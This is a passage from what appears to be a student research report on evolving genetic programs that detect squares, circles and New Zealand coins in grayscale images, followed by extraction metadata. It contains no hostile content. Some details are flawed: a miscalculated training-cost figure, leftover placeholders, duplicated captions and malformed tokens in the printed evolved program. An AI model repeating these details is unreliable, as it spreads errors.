uniform background. When creating any of the images, two restrictions were applied. Firstly no object was allowed to overlap another object or the edge of the image. This restriction is in place because finding objects that are partially obscured is a much harder problem. Secondly, all the images used were grayscale images. 4.1 Easy Task The first task was detecting squares and circles on a uniform background. The squares and circles were the same size. The input window was also the same size as the squares and circles. An example of the images created can be seen in Figure 4.1. The image is 400 x 400 pixels in size. The squares are 11 x 11 and the circles have a diameter of 11. The input window size is also 11. This means that there are \((400 - 10)^2 = 152,100\) centers that need to be classified correctly to solve the problem. There were 9 circles and 11 squares in each image. Thus 20 of the 152,100 possible centers should be classified as objects. The squares had an average pixel intensity of 200 and the circles an average of 150. The objects themselves were not entirely uniform with the squares having a standard deviation of 10 and the circles a standard deviation of 5. The background was completely uniform with an intensity of 100. This task was set merely to show that the GP system was working correctly. 4.2 Coins Task The second task, which was considered more difficult, was to detect 5 and 10 cent pieces on a relatively uniform background. Initially this set of images were created using a digital camera. This caused problems due to the reflective nature of coins. The images produced using the digital camera were very sub-standard. For this reason the images were produced using a scanner. These images were scanned at high resolution and then reduced to low resolution grayscale images. The reduction in resolution reduced a New Zealand 5 cent piece to a diameter of 16 pixels. The reason for reducing the quality was that the more pixels in the image the more centers that need to be considered for each program at each generation. This is an important consideration when training can consist of a population of 500 programs and can continue for 200 generations. Consider an image that is 200 x 200 and is reduced to 100 x 100. If we train with a population of 500 for 200 generations and an image size of 200 x 200. Then the calculation to work out which class a pixel is will be run approximately 500 * 200 * 200 = 4,000,000,000 times. However if we train with an image size of 100 x 100. The calculation is run only approximately 500 * 200 * 100 * 100 = 1,000,000,000 times. This means that training will be approximately four times faster for the smaller image. This however did make the problem harder as after making the reduction the coins were so unclear that it was almost impossible to determine whether the coin was head or tail side up. Each image had four 5 cent pieces and four 10 cent pieces. The background was not entirely uniform as can be seen from Figure 4.2. As can be seen from the example in Figure 4.2, each of the coins looked slightly different with some pixels in the coins that have high intensity and some with low intensity. This task was set to show that the system is domain independent, that is to say that the system can go from easy images where it was detecting squares and circles and then it can be used on coins and the system will still work. Figure 4.2: An example of the coin images Chapter 5 Methodology This project uses a GP system\(^1\). The inputs to the system are created so that the system uses a sweeping window approach to detection as described in section 2.4 on page 4. The majority of this project is based around four aspects. The four aspects are terminals, functions, fitness function and clustering. Terminals are the features that are extracted from the input images and are used as variables in the evolved programs. Functions are the operators that are used in the evolved programs. The fitness function measures the fitness of each program and drives the evolutionary process. Clustering is the process of grouping classification outputs together. These four aspects are examined in Sections 5.2 to 5.4. Section 5.1 presents the classification strategy that was used in this project. 5.1 Classification Strategy Outputs from the GP system are floating point numbers. These floating point numbers must be mapped to classes, this mapping is called a classification strategy. The classification strategy used for this project is based on the strategy used in\(^9\). Where objects are classified into ranges of outputs as shown in Figure 5.1. The strategy uses a user defined constant \(T\) that is the range outputs can have for each class of object. This means that if an output value is \(\frac{T}{2}\) for example, that means that the object is class 1. If the output was \(T + 1\) then it would be class 2. Two important things to note about this approach are: - The range for background object is from 0 to \(-\infty\) this means that it has a bigger range than the other classes of objects. The same applies for class \(n\) where the range is from \((n - 1)\) to \(\infty\). - There is no difference between an object being classified as \(T + 1\) and an object being classified as \(T + \frac{T}{2}\). This means that the classification of an object is either correct or wrong. 5.2 Terminals Terminals are crucial in the GP process as they are the only input from the image. As a result, they need to be selected carefully, such that they are expressive enough to be able to distinguish between classes of objects. However the set of terminals needs to be kept as small as possible otherwise the search space becomes gigantic. The key then is to select the \(^1\)The Genetic Programming package that was used for this project was the Object Oriented Genetic Programming package. For information about the package, see appendix A on page 33. terminals that are very expressive and do not overlap over each other’s expressiveness. For example if some terminal is very good at expressing the size of the object, then it would be much better to have another terminal that is expressive in terms of shape instead of size. This however is significantly harder than first thought. This is because the role of a terminal is very difficult to interpret. 5.2.1 Feature Extraction Features were extracted using the sliding window (or sliding input window) approach. One of the problems with the sliding window approach is that features cannot be extracted from the input image for the pixel center (0,0). This is because for the window to be centered at (0,0) the window would need to start at \((-\frac{1}{2} \ast \text{windowsize}, -\frac{1}{2} \ast \text{windowsize})\). This is clearly impossible so the features are only extracted from the centers that are at least \(\frac{1}{2} \ast \text{windowsize}\) from the edge of the image, as shown in Figure 5.2. This restriction means that this process is not able to detect objects that are centered outside of that border. The sliding window approach is used to extract pixel statistics at each input window position. These statistics were based on the pixels within the input window. An example of a pixel statistic is, the mean pixel intensity of the input window. This approach can improve training by reducing the search space. Instead of having 20 * 20 terminals (one for each pixel), there are only 2-10 terminals (statistics on the input window). At the same time rotational invariance can be achieved by using some statistics like mean. These statistics must be chosen carefully. 5.2.2 Easy Images To begin with for the easy images the only statistics used were the mean, standard deviation, first moment, second moment and T. These were calculated on the whole input window. The first moment was calculated based on the Euclidean distance from the center of the input window. \(f(x_i, y_i)\) is the pixel intensity at pixel \((x_i, y_i)\). \(d(x_i, y_i)\) is the Euclidean distance that \((x_i, y_i)\) is from the center of the region. \[ \text{moment1} = \frac{\sum_{i=1}^{n} f(x_i, y_i) * d(x_i, y_i)}{n} \] \[ \text{moment2} = \frac{\sum_{i=1}^{n} (f(x_i, y_i) * d(x_i, y_i) - \text{moment1})^2}{n} \] These statistics were shown to be insufficient to solve the problem because of the localisation problem that is discussed further in Section 6.1. To address the localisation problem, the means of the four local regions shown in Figure 5.3 were included in the terminals. At the same time, all the other terminals except the mean of the whole window and the T value were removed. This then meant that the terminals were the four local region means, the mean of the whole input window and T. This was the final set of terminals used on the easy images. \begin{figure}[h] \centering \includegraphics[width=0.2\textwidth]{local_regions.png} \caption{Local regions} \end{figure} \subsection{5.2.3 Coins 5-10} To begin with for the coins images the statistics used were mean, standard deviation, first moment, second moment and T. Each of these statistics were calculated on the whole input window. These where calculated in the same way as mentioned for the easy images. Again these terminals were insufficient to solve the problem so local regions were introduced. The new terminal set created was the means of the four local regions, the mean of the whole input window and T. These terminals had the “flipped regions” problem that is mentioned in the results section of this paper. However over a large number of generations this problem was solved with these terminals. Due to the slow rate of training, the terminal set was extended to include the mean of the central region. This region was 1/2 the size of the original window and was centered at the input window as shown in figure 5.4. This was expected to solve the flipped regions problem. \subsection{5.2.4 Evaluating the Usefulness of Terminals} Initially the features that were extracted were the mean, standard deviation, first moment and second moment. Each feature was calculated based on the whole input window. Another terminal was $T$. $T$ is the user defined constant that is used for classification, as mentioned in Section 5.1. These terminals were used on the easy images and it was found that they were not expressive enough to satisfactorily detect the easy images. A more in depth look at why these terminals were not satisfactory is discussed in chapter 6 on page 22. One of the benefits of using GP is that GP has the ability to select the terminals (and functions) that is "wants" from the terminal (or function) set. The use of the fitness function means that the programs that are created are measured on the accuracy of solving the problem. This measure is directly related to the terminals and functions in each program. Therefore if a program has a "good" fitness then the combination of terminals and functions in the program are "good". This means that the frequency of each terminal can be used as a measure of the relative importance of each of the terminals. One thing to consider is the irrelevant terminals and functions, as defined in Section 3.7. Often programs can be reduced to half of their original size. This reduction is due to the irrelevant terminals and functions in the programs generated by the system. After the reduction is performed, analysis of the relative frequencies of the terminals can show the relative usefulness of those terminals. It was clear from the results that when the detection was better there was a high number of means and $T$ values were as the relative numbers of first and second moments were significantly less. As well as this the problem highlighted in the results section of edge detection of the class with the highest average pixel value meant that new features had to be used. The new set of features contained just mean values and $T$. There were five means that were used. They were the mean of the whole and four local region means, as shown in figure 5.3 on page 18. These terminals were expressive enough to distinguish between squares, circles and background in the easy images. When these statistics were used on the coins, although the fitness was acceptable, the concern mentioned in results meant that one further statistic added to the existing set was the mean of a central region. 5.3 Functions Functions are the operators that combine terminals to form programs that model the problem. This makes them a very important part of the genetic programming process. To begin with, the simple arithmetic operators were used, that is, $+, -, /, *$. The division operator was a protected division instead of the standard arithmetic division operator. The protected division operator returns 1 if any number is divided by zero. In addition, an if function was used. This function had three numeric arguments. The first argument was the condition, which is treated as true if the number is greater than zero, otherwise false. If the condition is true then the if function returns the second argument, otherwise it returns the third argument. These functions were found to be sufficient in these experiments. However some other functions were implemented (with limited success), including $Abs, Sine, Cosine, Exponential, Log, Min$ and $Max$. 19 5.4 Clustering The task of object detection is a difficult one. It becomes very difficult to detect an object in the region centered at pixel \((x,y)\) and at \((x,y+1)\) detect background. This is because the two regions are so similar, as can be seen in Figure 5.5. Another problem is that during training if there is some small region in the image that is background but the program classifies it as an object of interest, the fitness function will count each of these pixels as false alarms. However, as all of the false alarms relate to one object it would be better to count it as a single false alarm. To solve these problems clustering can be applied to the outputs. The clustering algorithm used in this project has three steps: 1. Calculate the positions that objects are correctly detected and the number of times that the background is detected as an object of interest (this includes objects that are within tolerance of the true centers). 2. Count the number of true centers that have at least one detected center within tolerance of it. 3. Calculate the number of adjusted false alarms. Which is calculated by, for each center \((x,y)\) that is in the list of false alarms, remove any other centers that are of the same class and that are between \((x,y)\) and \((x+\text{tolerance},y+\text{tolerance})\), and add one to the number of adjusted false alarms. This then means that the number objects detected can be between 0 and the number of objects and the adjusted number of false alarms is the number of clusters that are incorrectly detected. ![Figure 5.5: Example of difficulty of detection](image) 5.5 Fitness The fitness function is another very important part of the GP process. It is absolutely imperative to get the fitness function right. This is because the fitness function is the measure of a program’s performance. The fitness function must allow a large change in performance to be shown with a large change in the fitness function. This is important for selecting programs for reproduction, crossover and mutation. To begin with the fitness function was set to: \[ a * (1 - DR) + c * FAR \] where \(a\) and \(c\) were constants that reflect the relative importance of the FAR and the DR. The DR and FAR are calculated by using the sliding window across the whole image. At each position of the sliding window, the output of the generated program is compared with the desired output. If the output does not match the desired output, then the number of false alarms is incremented by one. If the output matches the desired output, then the number of objects detected is incremented by one. After the window has slid across the whole image(s), then the FAR is calculated by dividing the number of false alarms by the number of objects desired. The DR can calculated by dividing the number of objects detected by the number of objects desired. The fitness of the program can be calculated and be assigned to the program. This process occurs for every program in the population for every generation. This process was found to have some limitations when clustering was used. Clustering was applied to group small regions that the program classified as the same type of object. This is because the program is likely to report that there is an object of some class not just at the true center but also at the pixels directly around the true center. These classifications can be grouped together and just the true center reported. As well as this case, the program could report that there are some objects of class 1 say where there isn’t, if it then classifies all of its neighboring pixels as that class, then this should only be reported as one error instead of 9 (the true center and the eight directly around it). As well as this problem there is another problem when clustering is used with FAR. Consider these two cases: 1. If there is a program that has a small cluster of incorrectly classified pixels, then the number of false alarms is one. 2. If there is another program that is identical to the first case except it has one less pixel in the cluster of incorrectly classified pixels. We can see that case two performs slightly better than case one but their fitness will be the same. This could cause problems as the only way that the fitness can get better is by completely removing the whole cluster. This seems like an unreasonable thing to expect and it would be far better to allow gradual fitness improvement. For these reasons it was decided that FAR and DR were no longer sufficient to calculate fitness. We introduce False Alarm Area FAA to the fitness function, as shown below. \[ fitness = a * (1 - DR) + b * FAA + c * FAR \] The FAA is the number of pixels that are False Alarms. That is the number of pixels without clustering that are incorrectly classified. Where again \( a, b \) and \( c \) are constant factors that reflect the relative importance of FAR, DR and FAA. We use this function throughout this project. The key to its success is that minimizing this function minimizes three things. The first is (1-DR), which is zero when DR is 100%, that is, all the objects were detected. The second is, the FAA is minimized when there are no pixels incorrectly classified, which is our goal. The last is the FAR, after considering what the minimizing the (1-DR) and FAA do, it would appear that FAR is not so important. While this is true, the FAR is a measure of the clustering of errors. This is particularly important if the system is not able to classify everything correctly. For example if say \( n \) pixels cannot be classified, it would be better to get \( n/4 \) clusters of pixels, than \( n \) individual pixels. This is because that in this case the output would need to be processed further, possibly by a person if this is the case \( n/4 \) clusters is far better than \( n \) pixels. Chapter 6 Results 6.1 Easy The easy task, which was detecting squares and circles was attempted in a number of different ways. The first was to use an input window with no local regions. Only pixels statistics of the whole input window were used. A problem this method had was where the input window contain part of a high pixel intensity object and part of a low pixel intensity object (or background). This situation occurs on the edges of the squares, in this case. The mean of an input window that contains half a square and half background is the same as the mean of a circle. This is because the square has a mean intensity of 200, background of 100 and circle of 150. This problem should have been overcome using the moment. However the use of the first and second moments where reduced to irrelevant positions in the programs produced. This means that the system was mainly focused on the mean statistic which is not expressive enough to distinguish between the three classes. The results of this approach were poor, with a detection rate of 100% but a FAA of 440 pixels. This FAA relates to the edge of the squares where there was a pixel line around the squares. Each square had approximately 40 pixels around it that were incorrectly classified. This problem clearly shows that only using pixel statistics on the total input window was not sufficient. To solve the edge problem, local regions were introduced. These local regions are shown in Figure 5.3. The local regions can be used to asses the location of an object within the input window. This then gives the system enough information to solve the edge problem. The search space however has also been increased as another four terminals are added. These four terminals are the four local region means. To keep the search space as small as possible, the standard deviation, first moment and second moment terminals were removed. This means that the new terminal set contains the four local means, T (the Threshold) and the mean of the total input window. The results of these terminals being added was perfect detection of the squares and circles. One program that the GP system produced to solve the multi-class detection problem for the easy images is shown in Figure 6.1. An example of the detection outputs can be seen in Figure 6.2. This Figure shows the program in Figure 6.1 outputs. The top left image is the original image, the top right image is the image that relates to objects that are classified as background, the bottom left image is the detection of circles and the bottom right image is the detection of squares. In each image the the pixels are equal to the output within the range T. If the output is not in that class then the pixel is set to the background a pixel intensity of 80. If however the pixel has an output that is within the range of that class of object the pixel value is the output value minus, T times the x - 1, where x is the class number of the object. The images produced so the output values within the range of the T of that class of object. <table> <thead> <tr> <th>Terminal</th> <th>Pixel statistic</th> </tr> </thead> <tbody> <tr> <td>F1</td> <td>Mean of whole input window</td> </tr> <tr> <td>F2</td> <td>Mean of top left region of the input window</td> </tr> <tr> <td>F3</td> <td>Mean of top right region of the input window</td> </tr> <tr> <td>F4</td> <td>Mean of bottom left region of the input window</td> </tr> <tr> <td>F5</td> <td>Mean of bottom right region of the input window</td> </tr> </tbody> </table> Table 6.1: Mapping of Terminals to Pixel Statistics Blah Figure 6.1: Program constructed to solve the detection problem for the easy images. ``` program goes here ``` The total training time however was still very slow. Initially the system quickly improved fitness however, after a number of generations the improvements of fitness slowed dramatically. As a result of this observation a new terminal was added. The new terminal was the central region as shown in Figure 5.4 on page 19. The result of adding this terminal was that the training time was slightly reduced. 6.2 Coins 5 - 10 The more difficult task, which was detecting 5 and 10 cent pieces on a uniform background was also attempted in a number of ways. To begin with the original approach used on the easy task was also used on the coins, the use of pixel statistics of the whole input window. This however had the same problem as the easy task, where the edge of one object was being detected as another class of object. Another problem with using only the pixel statistics on the whole input window is that, if an object is smaller than the input window. There can be multiple positions where the object is contained in the input window. This means that if the background is reasonably uniform then the mean of any input window that contains the whole image will be very similar. This is shown in Figure 6.3 where the central image in the figure is the true center but all three are very similar. This makes the problem of localisation on those pixel statistic impossible if it only uses the mean of the window. This means that the standard deviation, first and second moment need to be used to decipher between the cases where the object is contained within the input window. Unfortunately this did not appear to occur within a reasonable amount of training. As a result of these problems local regions where introduced. This solved both problems, however it did show another problem. Local regions proved to be very important after the introduction of local regions the system was then able to localise objects more accurately. This approach was then able to produce perfect results of 100% detection and a FAA of 0. This was because not only was the system able to distinguish between half a 10 cent piece and a 5 cent piece but it was also able to distinguish between a 5 cent coin in the center of the input window and a 5 cent coin in the corner of the input window. The fitness reduced quickly at the beginning and then slowed down dramatically as it got close to zero. Looking at the programs when the reduction in fitness slowed dramatically it was observed that the system reported objects between two objects, as can be seen in Figure 6.4. These reported objects occurred in areas of background that had objects near it. On closer inspection of these locations however it was discovered that the problem was occurring when the input window spanned across two coins, as shown in Figure 6.5. This problem clearly occurs because the system calculates means of the four local region and uses those means to evaluate if there is an object within that region. In the case shown in Figure 6.5 however there are in fact objects in each of the regions. This was because the input window can span across two objects. Despite this problem, as mentioned the system did in fact get perfect detection, but the training took 162 generations, with a population size of 500. After observing the problem caused by the input window spanning two objects another mean of a local region was added to the terminal set, which is shown in Figure 5.4 on page 19. This new local region was the center of the input window. The region was made 1/4 of the size of the input window and centered at the input window. The case of the input window spanning two objects is distinguishable from the case where the object is in the center of the object. The result of this approach were again perfect, 100% detection and FAA of zero. This result came from a population of 500 after just 100 generations. The program that was generated is shown in Figure 6.6. The result can be seen in Figure 6.7. This shows the positions that the program suggested that an object existed. as can be seen the green pixels are at the center of each object showing correct detection of the objects. It is interesting to note that even though there was a tolerance level of two pixels, only 3 of the coins had Figure 6.2: Detection results Figure 6.3: Detection results Figure 6.3: Example of difficulty of localisation Figure 6.4: Output image showing result of the program shown in Figure 6.6, green pixels are correctly detected coin centers, red pixels are incorrectly detected coins multiple detections within that tolerance. Figure 6.5: Example of problems with local region means <table> <thead> <tr> <th>Terminal</th> <th>Pixel statistic</th> </tr> </thead> <tbody> <tr> <td>F1</td> <td>Mean of whole window</td> </tr> <tr> <td>F2</td> <td>Mean of top left region of the input window</td> </tr> <tr> <td>F3</td> <td>Mean of top right region of the input window</td> </tr> <tr> <td>F4</td> <td>Mean of bottom left region of the input window</td> </tr> <tr> <td>F5</td> <td>Mean of bottom right region of the input window</td> </tr> <tr> <td>F6</td> <td>Mean of central region of the input window</td> </tr> </tbody> </table> Table 6.2: Mapping of Terminals to Pixel Statistics (/ (* (/ (* (* F4 (if (/ (/ (- (if (/ F5 F5) F5 F6) F3) F3) F5) T T)) (if (- F2 T) F6 (if F6 (- F3 T) F4))) (- (- (+ F2 F6) (if F3 F6 F5)) (- (+ F1 F3) (if F5 F 2 (- (if F1 (- F2 F1) F4) F2))))) T) (if (* (if F5 F2 T) (/ (if (* (* T T) F4) F5) (* T F4) (if (* (if F5 F2 (- F2 T)) (* (- F3 T) (/ T (- T F 5)))) (* (if F5 F6 F3) F5) F5) F2) F6 F3) (- T F5))) F3 (/ F4 F2))) F5) (+ (* (- F6 F4) (if (- (- (F2 F6) (if F3 F6 F5)) (- (+ F1 F3) (if F5 F2 T))) (if F3 F6 F5) (if F5 F2 F6) (if F5 F6 F5))) (- (* T (if (- (+ F1 (+ F3 T) (- (+ (/ F5 F2 F6) F4)) F2 (+ F5 (- (- F2 F6) (if F3 F6 F5) (- (+ F1 F3) (if F5 F2 T)) (if F3 F6 F5) (if F5 F2 F6) (if F5 F6 F5))) (if F6 F4 (+ F4 (if F4 (/ F2 (+ (- F3 F2) F1)) (if F6 F4 (* F6 F5))) (* F5 F6))))) Figure 6.6: This program is a solution to the 5 and 10 cent coin detection problem. Figure 6.7: Output image showing result of the program shown in Figure 6.6, green pixels are correctly detected coin centers, red pixels are incorrectly detected coins. Chapter 7 Future Work The results of this project showed that GP can be used successfully for object detection. However the approach is still not perfect. One of the main problems is long training times. Further work is needed so that training can be done faster. Particularly there are four things that have appeared from this project as possible solutions to this problem. They are: 1. Improving crossover and mutation. 2. Heating of the constants in the fitness function over time. 3. Dynamically allocating $T$ values. 4. Sampling of fitness cases. 7.1 Improving Crossover and Mutation There is some evidence that statistical analysis on nodes in each program can give a computed measure of the quality of a node. If this measure is found to be correct, then crossover and mutation can be applied at the worst point in the program. The measure however, is unlikely to be able to identify a single node of a program that is the worst although it is thought that the measure will at least be able to give a subtree and crossover or mutation can be applied to the subtree. The measure is simply the difference between the actual value at each node and the value that the node should have, assuming the rest of the tree is correct. The absolute value of this measure can be summed over all of the fitness cases and the result can be used to find the worst nodes within a program. The standard deviation of the difference may also be a good measure of the nodes. This measurement should identify points in the program that are performing poorly within the program and they can then be removed from the program. If this measure is correct it will mean that crossover and mutation can be applied on the parts of the program that are performing the worst. 7.2 Heating of Constants The fitness functions used in this project was: $$fitness = a \times (1 - DR) + b \times FAA + c \times FAR$$ This has three constant factors (a,b,c) that relate to the relative importance of the parts of the fitness function. At the begin of the GP process, the detection rate is very important as experiment results have shown that if objects are not detected early, they are not detected at all. So constant $a$ must remain high so that detection of objects is the most important part of the equation. The relationship between FAA and FAR is an important one as reducing one can increase the other. The FAA should be more important as the key goal is to get perfect detection with zero false alarms. FAA is more sensitive as a function as removing an incorrect detection point will always reduce the FAA. FAR however could report the same value when an incorrect pixel is added or removed. As a result, it is believed that FAA should, in the early stage, be higher than FAR. If the problem is not able to be solved perfectly however, FAR should be considered in the fitness function so that the pixels that are erroneously reported as objects are grouped together in a few small areas instead of single pixels scatter through out the image. The reason is that it then makes a manual check easier, as there are only a few places to look. It is because of this relationship that future research is suggested in the area of dynamically changing the constant factors. This would allow DR to be dominant to begin with and allow the FAA and FAR to change according to the stage of the GP system (i.e. number of generations and current fitness). 7.3 Dynamically allocating $T$ values The classification process can be considered a sorting process. The sorting only needs to place objects of each type within some range of outputs. These ranges can be anything as long as no two objects of class $x$ are sorted where by there is another object of class $y$ (where $y$ is not equal to $x$) that is between them. This means that all objects of class $x$ must be above or below all objects of $y$. In the experiments conducted for this report the classification process specified value ranges that each class of object must be within, which adds a further restriction to the problem. This restriction however is not specifically required for the objects to be classified. Further research in this area should look at the dynamic allocation of ranges. One possible strategy is to evaluate all of the fitness cases then set ranges for $x$ say in the following way: $$(\min(x) + \max(x - 1))/2 \text{ and } (\max(x) + \min(x + 1))/2$$ In this way the restriction of specific ranges is removed. The only restriction that this approach adds is that objects of class $x$ must be above objects of class $x - 1$ and below objects of class $x + 1$. This restriction could also be removed but further research needs to be performed to examine whether the benefits of removing this restriction are worth while and exactly how to remove this restriction. 7.4 Sampling The training process of a GP system on the image detection problem is very slow. As a result the use of sampling from the set of fitness cases would be worth investigating. Small images of 300 x 300 pixels contain 81,796 fitness cases (assuming a input window size of 14) and for hard problems multiple images may be required to train on it. This means that each program that is generated must be tested on thousands of test cases. This is highly inefficient as many of the evolved programs that are hopeless at solving the problem. It would be more efficient to begin by training on a sample of the fitness cases until the programs that are generated are more accurate then train on all of the fitness cases. It would even be worth training on the sampled data until the fitness was zero and then continue training from that point on with all of the test data. 7.5 Images The experiments used in this project only contained two classes of objects of interest and the background. The approach was developed however, to apply to multiple classes of objects. Due to time restrictions, these types of images have not been considered. However further research needs to be done to examine whether this approach can be used for detection problems with more classes. Further research is also needed to examine what effect non-symmetric or non-circular objects have on the current process. The current techniques are effective for detection of circular objects but detecting other shapes may make the problem more difficult. Another restriction on this research was that objects of all classes had to be the same size. Further research should examine the problem where objects of one class are much larger than the others. As well as this problem the case where objects of the same class can be variable sizes also needs to be examined. The use of size invariant pixel statistics is a starting point for this but there are a number of other questions that need to be answered. An example of the questions is, what size should the input window be? The last aspect that needs further research is that of background. The backgrounds used in all of the experiments for this project were relatively uniform. This is an important future research area because a commercial implementation of this system is likely to have a cluttered background. 7.6 Terminals There are two forms of terminals: 1) pixel statistics, and 2) common values. Common values are terminals such as T. These values should be limited as much as possible as they do not give the system useful information about the problem. Some however are useful, for example, T, which gives the system information about the classification strategy used by the system. This research did not examine possible common values extensively. The use of common values such as random numbers is one possible area of research. However a more useful aspect is examining pixel statistics. As there are a huge number of statistics that could be applied, it would be worth examining two questions. 1) Is there an ideal set of statistics for all detection problems? 2) Is there some way to examine a problem and predict accurately the pixels statistics that should be applied? The second question could be answered by calculating a large number of pixel statistics on a sample image and examining the relationship between outputs of objects of the same class and the relationship of outputs of all objects in different different classes. Chapter 8 Conclusion The goal of this project was to develop a domain independent approach to multi-class object detection problems using genetic programming techniques. Three terminal sets based on domain independent, low level pixel statistics were developed. The function set was based on the four arithmetic operations and a newly defined conditional function. The fitness function was developed based on the detection rate, false alarm rate and the false alarm area. The goal was achieved on the easy detection and the coin detection problems. During the development and experiments of this project the following characteristics can be concluded as important to successfully solve the multi-class object detection problem with GP: - Firstly, the results showed that for object detection an important characteristic is that the inputs include pixel statistics on local regions not just on the whole input window. These local regions should be in the form of Figure 5.4 on page 19. These local regions are important for localisation of objects in a multi-class object image. Figure 6.3 on page 25 shows the problem with only pixel statistics on the whole input window. The first problem is that there could be an object contained within the window and as long as that object is fully contained then the pixel statistics will be the same when the object is in the center of the input window and when it isn’t. The second problem of the multi-class object detection also makes it difficult when part of an object is contained in the window and the other half of the window is background. In this case, a statistic like the mean of the while input window is likely to classify this situation as an object since the mixture of background and object become similar to the mean of an object. Local regions can solve these problems by giving the GP system more information about the localisation of objects within the input window. - The second important characteristic is a function set that includes a conditional function. This is important as it gives the GP system the ability to model non-linear relations. From a theoretical point of view, a conditional function such as an if allows the GP system to build programs in the form of: \( (if, \text{object is class } 1, \text{then output } x, if, \text{object is of class } 2, \text{then output } y \text{ etc}) \) Given a situation where class one objects had a mean value of 100, class two had a mean of 230 and class three a mean of 150, there is no need to change the order in which the classes are arranged. If there was no if function, then this problem would be impossible to solve. The problem is not linearly separable and thus the system will fail to solve the problem accurately. However if the classes were linearly separable, then the conditional statement is not as important. For example, the classes were ordered such that class one is the objects with mean values of 1, class two were the objects with mean 150, and class three were the objects with mean 230, the problem becomes linearly separable. - The third characteristic is a good fitness function. As the value of the fitness function is what is being minimized, it is important that the fitness function is an accurate measure of the effectiveness of a program to model the solution. In the case of object detection, it is crucial that the fitness function contains two things. The first is some measure of the false alarms; the second is a measure of the number of objects detected. The two fitness functions that were discovered to be effective for multi-class object detection with clustering of classification were: \[ \text{Fitness} = a \times F_{AA} + b \times (1 - DT) \] \[ \text{Fitness} = a \times F_{AA} + b \times (1 - DT) + c \times F_{AR} \] For easier problems where the evolved program is expected to have 100% DT and 0 FAA, the first fitness function should be used. This is because the function is simpler and there is no way that FAR and FAA can cause problems as FAR is not contained in the function. However for harder problems where the output of the GP system is not expected to produce a program with 100% DT and 0 FAA, then the second function should be used. This puts some importance on the grouping of the incorrectly classified objects thus reducing the number of positions that need to be manually examined. It is interesting to note that contrary to [5, 4] the parameters that control the GP algorithm did not appear to be critical to the success of the system. The only two parameters that did affect the success of the system were that of the population size and number of training generations. This indicates that although the parameters may affect the performance of the system, the actual values of the parameters were not as important as the 3 key characteristics mentioned above. This means that when using GP for object detection, most attention should be paid to the 3 key characteristics rather than the parameters that the GP system uses. Although the results are good, there are limitations to the use of GP for object detection. Some of those limitations are: - All objects need to be similar sizes and objects of the same class must be the same size. - Training is very slow. This means that the solution could take a number of days to be trained. - The use of these techniques on more difficult images. Appendix A Object Oriented Genetic Programming Package This package was written by Peter Wilson in 1998. It is a package that was written for use in research. The package is a strongly typed genetic programming package. This means that the package is capable of using functions and terminals that are of different types. This means that rather than just using floating point numbers as this project did the package will support any other type. The package was initially written for the regression problem. To convert the package from the regression problem to the multi-class object detection problem, a number of changes need to be made. They were: - A way to read and store feature vectors from a file. - A new fitness function. - A classification strategy. - New terminals for each pixel statistic used. - A way to visualise outputs of the system during training to provide more information about the current state of training. As well as implementing these new things to allow the system to work for the multi-class object detection problem, a number of bugs in the existing package were found. These bugs were difficult to find and a large amount of time was spent locating and removing them. Bibliography
{"Source-Url": "https://homepages.ecs.vuw.ac.nz/~mengjie/students/markp.pdf", "len_cl100k_base": 15143, "olmocr-version": "0.1.50", "pdf-total-pages": 38, "total-fallback-pages": 0, "total-input-tokens": 186747, "total-output-tokens": 17184, "length": "2e13", "weborganizer": {"__label__adult": 0.0004017353057861328, "__label__art_design": 0.0014400482177734375, "__label__crime_law": 0.0005278587341308594, "__label__education_jobs": 0.006015777587890625, "__label__entertainment": 0.00014317035675048828, "__label__fashion_beauty": 0.0002911090850830078, "__label__finance_business": 0.0004656314849853515, "__label__food_dining": 0.0003848075866699219, "__label__games": 0.000789642333984375, "__label__hardware": 0.002262115478515625, "__label__health": 0.0007162094116210938, "__label__history": 0.0006613731384277344, "__label__home_hobbies": 0.0002541542053222656, "__label__industrial": 0.0009694099426269532, "__label__literature": 0.0003941059112548828, "__label__politics": 0.00041961669921875, "__label__religion": 0.0006279945373535156, "__label__science_tech": 0.386962890625, "__label__social_life": 0.000217437744140625, "__label__software": 0.0182342529296875, "__label__software_dev": 0.576171875, "__label__sports_fitness": 0.0003960132598876953, "__label__transportation": 0.00075531005859375, "__label__travel": 0.00025153160095214844}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 72014, 0.03835]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 72014, 0.84897]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 72014, 0.95045]], "google_gemma-3-12b-it_contains_pii": [[0, 1040, false], [1040, 2758, null], [2758, 2758, null], [2758, 5414, null], [5414, 5825, null], [5825, 8555, null], [8555, 11076, null], [11076, 11202, null], [11202, 13958, null], [13958, 15644, null], [15644, 17898, null], [17898, 20043, null], [20043, 23039, null], [23039, 26252, null], [26252, 26332, null], [26332, 29042, null], [29042, 30116, null], [30116, 30158, null], [30158, 32649, null], [32649, 34799, null], [34799, 36854, null], [36854, 40059, null], [40059, 42557, null], [42557, 45928, null], [45928, 48983, null], [48983, 52412, null], [52412, 53953, null], [53953, 54216, null], [54216, 55553, null], [55553, 55722, null], [55722, 57902, null], [57902, 61424, null], [61424, 64032, null], [64032, 66750, null], [66750, 69429, null], [69429, 70632, null], [70632, 70632, null], [70632, 72014, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1040, true], [1040, 2758, null], [2758, 2758, null], [2758, 5414, null], [5414, 5825, null], [5825, 8555, null], [8555, 11076, null], [11076, 11202, null], [11202, 13958, null], [13958, 15644, null], [15644, 17898, null], [17898, 20043, null], [20043, 23039, null], [23039, 26252, null], [26252, 26332, null], [26332, 29042, null], [29042, 30116, null], [30116, 30158, null], [30158, 32649, null], [32649, 34799, null], [34799, 36854, null], [36854, 40059, null], [40059, 42557, null], [42557, 45928, null], [45928, 48983, null], [48983, 52412, null], [52412, 53953, null], [53953, 54216, null], [54216, 55553, null], [55553, 55722, null], [55722, 57902, null], [57902, 61424, null], [61424, 64032, null], [64032, 66750, null], [66750, 69429, null], [69429, 70632, null], [70632, 70632, null], [70632, 72014, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 72014, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 72014, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 72014, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 72014, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], 